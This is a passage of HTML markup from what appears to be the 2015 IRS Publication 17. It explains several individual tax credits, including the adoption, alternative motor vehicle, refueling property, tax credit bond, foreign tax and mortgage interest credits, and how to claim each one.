      >The child was a citizen or resident of the United States (including U.S. possessions) at the time the adoption process
began.</li
     ><li id="TXMP74ff81ef"
      ><a name="TXMP49d4248e"
      ></a
      >A state (including the District of Columbia) has determined that the child can't or shouldn't be returned to his or her parents'
home.</li
     ><li id="TXMP6daec35f"
      ><a name="TXMP75e6348f"
      ></a
      >The state has determined that the child won't be adopted unless assistance is provided to the adoptive parents. Factors used by states to make this determination
include:<ol
       ><li id="TXMP7adb461d"
        ><a name="TXMP500acaf6"
        ></a
        >The child's ethnic background,</li
       ><li id="TXMP59cb745e"
        ><a name="TXMP344cd512"
        ></a
        >The child's age,</li
       ><li id="TXMP1b3688d3"
        ><a name="TXMP0f5fd792"
        ></a
        >Whether the child is a member of a minority or sibling group,
and</li
       ><li id="TXMP1a738cce"
        ><a name="TXMP199730f9"
        ></a
        >Whether the child has a medical condition or a physical, mental, or emotional
handicap.</li
      ></ol
     ></li
    ></ol
   ></div
   ><a name="en_us_publink1000273001"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000273001</a
   ><a name="TXMP0f465031"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >When to take the credit.<a class="printpagenum"
                                   title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0963a1a0"
   >Generally, until the adoption becomes final, you take the credit in the year after your qualified expenses were paid or incurred. If the adoption becomes final, you take the credit in the year your expenses were paid or incurred. See the Instructions for Form 8839 for more specific information on when to take the credit.
   </div
   ><a name="en_us_publink1000273002"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000273002</a
   ><a name="TXMP43908560"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><span
        ><b
        >Foreign child.<a class="printpagenum"
                          title="Page number in printed version"
         >(p244)</a
        ></b
       ></span
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP3d37d9e6"
   >If the child isn't a U.S. citizen or resident at the time the adoption process began, you can't take the credit unless the adoption becomes final. You treat all adoption expenses paid or incurred in years before the adoption becomes final as paid or incurred in the year it becomes
final.</div
   ><a name="en_us_publink1000273007"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000273007</a
   ><a name="TXMP118322ea"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP55043fa0"
   >Figure your 2015 nonrefundable credit and any carryforward to 2016 on Form 8839 and attach it to your Form 1040. Include the credit in your total for Form 1040, line 54. Check box c and enter "8839" on the line next to that
box.</div
   ><a name="en_us_publink1000273008"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000273008</a
   ><a name="TXMP4f14bb18"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1b6b2e5f"
   >For more information, see the Instructions for Form 8839.</div
   ><a name="en_us_publink1000174914"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174914</a
   ><a name="TXMP171f87b4"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Alternative Motor Vehicle Credit<a class="printpagenum"
                                           title="Page number in printed version"
        >(p244)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP431bb066"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/alternativemotorve_o_09d06629.htm"
         >Alternative Motor Vehicle Credit</a
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP431bb066"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP25e47180"
   >An alternative motor vehicle is a vehicle with at least four wheels that qualifies as a qualified fuel cell vehicle. You may be able to take this credit if you are the owner of a qualified fuel cell vehicle and placed it in service in
2015.</div
   ><a id="en_us_publink100036056"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="iconpara"
    ><tbody
     ><tr
      ><td class="iconcell"
           valign="top"
       ><img alt="EIC"
             src="../graphics/caution.gif"
      ></td
      ><td valign="top"
       ><div class="p"
             id="TXMP2f0f8679"
       >The alternative motor vehicle credit has expired for vehicles purchased after 2014. However, if you purchased the vehicle before 2015, but placed it in service during 2015, you may still be able to claim the credit for 2015. At the time these instructions went to print, Congress had not enacted legislation on expired provisions. To find out if legislation has been enacted, go to
        <a href="http://www.irs.gov/pub17"
           name="Pub 17 on IRS.gov"
           title="Pub 17 on IRS.gov"
        >www.irs.gov/pub17</a
        >.</div
      ></td
     ></tr
    ></tbody
   ></table
   ><a name="en_us_publink100036057"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036057</a
   ><a name="TXMP431bb066"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Qualified fuel cell vehicle.<a class="printpagenum"
                                       title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP171f87b4"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/alternativemotorve_o_09d06629.htm"
         >Alternative Motor Vehicle Credit</a
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP171f87b4"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP26d17847"
   >A qualified fuel cell vehicle is a new vehicle propelled by power derived from one or more cells that convert chemical energy directly into electricity by combining oxygen with hydrogen fuel, and that meets certain additional
requirements.</div
   ><a name="en_us_publink1000174916"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174916</a
   ><a name="TXMP4a77b5cf"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Amount of credit.<a class="printpagenum"
                            title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP7f860435"
   >Generally, you can rely on the manufacturer's certification to the IRS that a specific make, model, and model year vehicle qualifies for the credit and the amount of the credit for which it qualifies. In the case of a foreign manufacturer, you generally can rely on its domestic distributor's certification to the
IRS.</div
   ><div class="p"
         id="TXMP0665771f"
   >Ordinarily the amount of the credit is 100% of the manufacturer's (or domestic distributor's) certification to the IRS of the maximum credit
allowable.</div
   ><a name="en_us_publink1000174921"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174921</a
   ><a name="TXMP773230e3"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP16dd2fce"
   >To take the credit, you must complete Form 8910 and attach it to your Form 1040. Include the credit in your total for Form 1040, line 54. Check box c and enter "8910" on the line next to that
box.</div
   ><a name="en_us_publink1000174922"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174922</a
   ><a name="TXMP4ba362cd"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP33b7ea81"
   >For more information on the credit, see the Instructions for Form
8910.</div
   ><a name="en_us_publink1000174923"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174923</a
   ><a name="TXMP55b5d300"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Alternative Fuel Vehicle Refueling Property Credit<a class="printpagenum"
                                                             title="Page number in printed version"
        >(p244)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/alternativefuelveh_o_6d606725.htm"
         >Alternative Fuel Vehicle Refueling Property Credit</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP5f58f1fa"
   >The credit for alternative fuel vehicle refueling property has expired. You can't claim this credit for alternative fuel vehicle refueling property placed in service after 2014. However, a partner in a fiscal year partnership or shareholder of a fiscal year S corporation may receive an alternative fuel vehicle refueling property credit that must be reported on a 2015
return.</div
   ><a name="en_us_publink1000174924"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174924</a
   ><a name="TXMP7b4a18ac"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Qualified alternative fuel vehicle refueling property.<a class="printpagenum"
                                                                 title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/qualifiedalternati_o_0c9c2064.htm"
         >Qualified Alternative Fuel Vehicle Refueling Property</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP666d81aa"
   >Qualified alternative fuel vehicle refueling property is any property (other than a building or its structural components) used to store or dispense alternative fuel into the fuel tank of a motor vehicle propelled by the fuel, but only if the storage or dispensing is at the point where the fuel is delivered into that
tank.</div
   ><div class="p"
         id="TXMP74fd911f"
   >An alternative fuel is a fuel at least 85% of the volume of which consists of
hydrogen.</div
   ><a id="en_us_publink100036058"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="iconpara"
    ><tbody
     ><tr
      ><td class="iconcell"
           valign="top"
       ><img alt="EIC"
             src="../graphics/caution.gif"
      ></td
      ><td valign="top"
       ><div class="p"
             id="TXMP18a43a16"
       >The credit has expired for alternative fuel vehicle refueling property placed in service after 2014. At the time this publication went to print, Congress had not enacted legislation on expired provisions. To find out if legislation has been enacted, go to
        <a href="http://www.irs.gov/pub17"
           name="Pub 17 page on IRS.gov"
           title="Pub 17 page on IRS.gov"
        >www.irs.gov/pub17</a
        >.</div
      ></td
     ></tr
    ></tbody
   ></table
   ><a name="en_us_publink1000174926"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174926</a
   ><a name="TXMP3f901333"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Amount of the credit.<a class="printpagenum"
                                title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1ddcb60d"
   >For business use property, the credit is generally the smaller of 30% of the property's cost or
$30,000.</div
   ><a name="en_us_publink1000174927"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174927</a
   ><a name="TXMP057978a8"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP537eb4d0"
   >Recipients of these credits that are partnerships or S corporations must report these amounts on line 8 of Form 8911. See Form 8911 and its instructions for more
information.</div
   ><a name="en_us_publink1000174928"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174928</a
   ><a name="TXMP52b8538c"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP2aacdbc0"
   >For more information on the credit, see the Instructions for Form
8911.</div
   ><a name="en_us_publink1000174929"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174929</a
   ><a name="TXMP3a63c664"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Credit to Holders of Tax Credit Bonds<a class="printpagenum"
                                                title="Page number in printed version"
        >(p244)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/credittoholdersoft_o_659916f7.htm"
         >Credit to Holders of Tax Credit Bonds</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP3b89917b"
   >Tax credit bonds are bonds in which the holder receives a tax credit in lieu of some or all of the interest on the
bond.</div
   ><div class="p"
         id="TXMP4d606645"
   >You may be able to take a credit if you are a holder of one of the following
bonds.<ul
     ><li id="TXMP2c145fe2"
      ><a name="TXMP162cd2d9"
      ></a
      >Clean renewable energy bonds (issued before 2010).</li
     ><li id="TXMP189188db"
      ><a name="TXMP243b7d4b"
      ></a
      >New clean renewable energy bonds.</li
     ><li id="TXMP6b285b16"
      ><a name="TXMP37700ff2"
      ></a
      >Qualified energy conservation bonds.</li
     ><li id="TXMP004027b7"
      ><a name="TXMP5c187351"
      ></a
      >Qualified school construction bonds.</li
     ><li id="TXMP085e16ad"
      ><a name="TXMP490696a8"
      ></a
      >Qualified zone academy bonds.</li
     ><li id="TXMP6a14985d"
      ><a name="TXMP24ad5be6"
      ></a
      >Build America bonds.</li
    ></ul
   ></div
   ><div class="p"
         id="TXMP303e172a"
   >In some instances, an issuer may elect to receive a credit for interest paid on the bond. If the issuer makes this election, you can't also claim a
credit.</div
   ><a name="en_us_publink1000174930"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174930</a
   ><a name="TXMP489b27b8"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Interest income.<a class="printpagenum"
                           title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/faqs/faq_04-001.htm#TXMP391551eb"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/interestincome_o_0ca9ba9c.htm"
         >Interest Income</a
         ><a href="../../taxmap/taxtp/Tt700_15-005.htm#917"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP63e88579"
   >The amount of any tax credit allowed (figured before applying tax liability limits) must be included as interest income on your tax
return.</div
   ><a name="en_us_publink1000174931"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174931</a
   ><a name="TXMP2f513db6"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP58767024"
   >Complete Form 8912 and attach it to your Form 1040. Include the credit in your total for Form 1040, line 54. Check box c and enter "8912" on the line next to that
box.</div
   ><a name="en_us_publink1000174932"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174932</a
   ><a name="TXMP17d8d1d8"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP43a7449f"
   >For more information, see the Instructions for Form 8912.</div
   ><a name="en_us_publink1000174933"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174933</a
   ><a name="TXMP47f6b4b0"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Foreign Tax Credit<a class="printpagenum"
                             title="Page number in printed version"
        >(p244)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p54-020.htm#TXMP435bc053"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/foreigntaxcreditft_o_67d75a0c.htm"
         >Foreign Tax Credit (FTC)</a
         ><a href="../../taxmap/pubs/p514-004.htm#TXMP70a58d68"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP3f8e7b49"
   >You generally can choose to take income taxes you paid or accrued during the year to a foreign country or U.S. possession as a credit against your U.S. income tax. Or, you can deduct them as an itemized deduction (see
    <a class="crossref"
       href="../pub17/p17-113.htm#en_us_publink1000173134"
       id="en_us_publink1000174934"
    >chapter 22</a
    >).
   </div
   ><div class="p"
         id="TXMP40506c5a"
   >You can't take a credit (or deduction) for foreign income taxes paid on income that you exclude from U.S. tax under any of the
following.<ol
     ><li id="TXMP43bd5877"
      ><a name="TXMP54300d3c"
      ></a
      >Foreign earned income exclusion.</li
     ><li id="TXMP29e6a14d"
      ><a name="TXMP12df8ed6"
      ></a
      >Foreign housing exclusion.</li
     ><li id="TXMP0cbf077b"
      ><a name="TXMP0efb6d96"
      ></a
      >Income from Puerto Rico exempt from U.S. tax.</li
     ><li id="TXMP1853a86c"
      ><a name="TXMP44ae7bad"
      ></a
      >Possession exclusion.</li
    ></ol
   ></div
   ><a name="en_us_publink1000174935"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174935</a
   ><a name="TXMP0cc7a435"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Limit on the credit.<a class="printpagenum"
                               title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP4c492901"
   >Unless you can elect not to file Form 1116 (see
    <a class="crossref"
       href="../pub17/p17-188.htm#en_us_publink1000174938"
       id="en_us_publink1000174936"
     ><i
     >Exception</i
    ></a
    >), your foreign tax credit can't be more than your U.S. tax liability (line 47), multiplied by a fraction. The numerator of the fraction is your taxable income from sources outside the United States. The denominator is your total taxable income from U.S. and foreign sources. See Pub.
    <a class="tmloomAutolink"
       href="../pubs/p514toc.htm"
    >514</a
    > for more information.
   </div
   ><a name="en_us_publink1000174937"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174937</a
   ><a name="TXMP46cc5fb9"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP34ed2328"
   >Complete Form 1116 and attach it to your Form 1040. Enter the credit on Form 1040, line 48.
   </div
   ><a name="en_us_publink1000174938"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174938</a
   ><a name="TXMP2832beca"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><span
        ><b
        >Exception.<a class="printpagenum"
                      title="Page number in printed version"
         >(p245)</a
        ></b
       ></span
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP7c8b9a5f"
   >You don't have to complete Form 1116 to take the credit if all of the following apply.
    <ol
     ><li id="TXMP135ef399"
      ><a name="TXMP4dc88003"
      ></a
      >All of your gross foreign source income was from interest and dividends and all of that income and the foreign tax paid on it were reported to you on Form 1099-INT, Form 1099-DIV, or Schedule K-1 (or substitute
statement).</li
     ><li id="TXMP5bd3f247"
      ><a name="TXMP2d43505b"
      ></a
      >You held the stock or bonds on which the dividends and interest were paid for at least 16 days and weren't obligated to pay these amounts to someone
else.</li
     ><li id="TXMP2b836615"
      ><a name="TXMP509b4022"
      ></a
      >You aren't filing Form 4563 or excluding income from sources within Puerto
Rico.</li
     ><li id="TXMP7edf82a9"
      ><a name="TXMP418d78db"
      ></a
      >The total of your foreign taxes wasn't more than $300 (not more than $600 if married filing
jointly).</li
     ><li id="TXMP4482b2c0"
      ><a name="TXMP22ef470d"
      ></a
      >All of your foreign taxes were:<ol
       ><li id="TXMP243d316d"
        ><a name="TXMP766308ef"
        ></a
        >Legally owed and not eligible for a refund or reduced tax rate under a tax treaty,
and</li
       ><li id="TXMP3bc969c5"
        ><a name="TXMP382dd5f2"
        ></a
        >Paid to countries that are recognized by the United States and don't support
terrorism.</li
      ></ol
     ></li
    ></ol
   ></div
   ><a name="en_us_publink1000260891"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000260891</a
   ><a name="TXMP5bdb4d15"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP2d953abd"
   >For more information on the credit and these requirements, see the Instructions for Form
1116.</div
   ><a name="en_us_publink1000174939"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174939</a
   ><a name="TXMP52f4b1ea"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Mortgage Interest Credit<a class="printpagenum"
                                   title="Page number in printed version"
        >(p245)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p530-001.htm#TXMP52f4b1ea"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/mortgageinterestcr_o_7fdd99ee.htm"
         >Mortgage Interest Credit</a
         ><a href="../../taxmap/faqs/faq_03-006.htm#TXMP0c4e51fe"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP31836252"
   >The mortgage interest credit is intended to help lower-income individuals own a home. If you qualify, you can take the credit each year for part of the home mortgage interest you pay.
   </div
   ><a name="en_us_publink1000174940"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174940</a
   ><a name="TXMP08cb83f7"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Who qualifies.<a class="printpagenum"
                         title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/whoqualifies_o_4ebd7489.htm"
         >Who Qualifies</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0f20a3b5"
   >You may be eligible for the credit if you were issued a qualified Mortgage Credit Certificate (MCC) from your state or local government. Generally, an MCC is issued only in connection with a new mortgage for the purchase of your main
home.</div
   ><a name="en_us_publink1000174941"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174941</a
   ><a name="TXMP4ad0e0b0"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Amount of credit.<a class="printpagenum"
                            title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP04c3b687"
   >Figure your credit on Form 8396. If your mortgage loan amount is equal to (or smaller than) the certified indebtedness (loan) amount shown on your MCC, enter on Form 8396, line 1, all the interest you paid on your mortgage during the
year.</div
   ><div class="p"
         id="TXMP0f121cd4"
   >If your mortgage loan amount is larger than the certified indebtedness amount shown on your MCC, you can figure the credit on only part of the interest you paid. To find the amount to enter on line 1, multiply the total interest you paid during the year on your mortgage by the following fraction.
   </div
   ><div class="p"
         id="TXMP106d0668"
    ><table border="0"
            cellpadding="5"
            cellspacing="0"
            id="TXMRaddf2a30"
            summary="This table is the verbal configuration of the fraction used in this discussion."
     ><colgroup
      ><col
      ><col
      ><col
     ></colgroup
     ><tbody
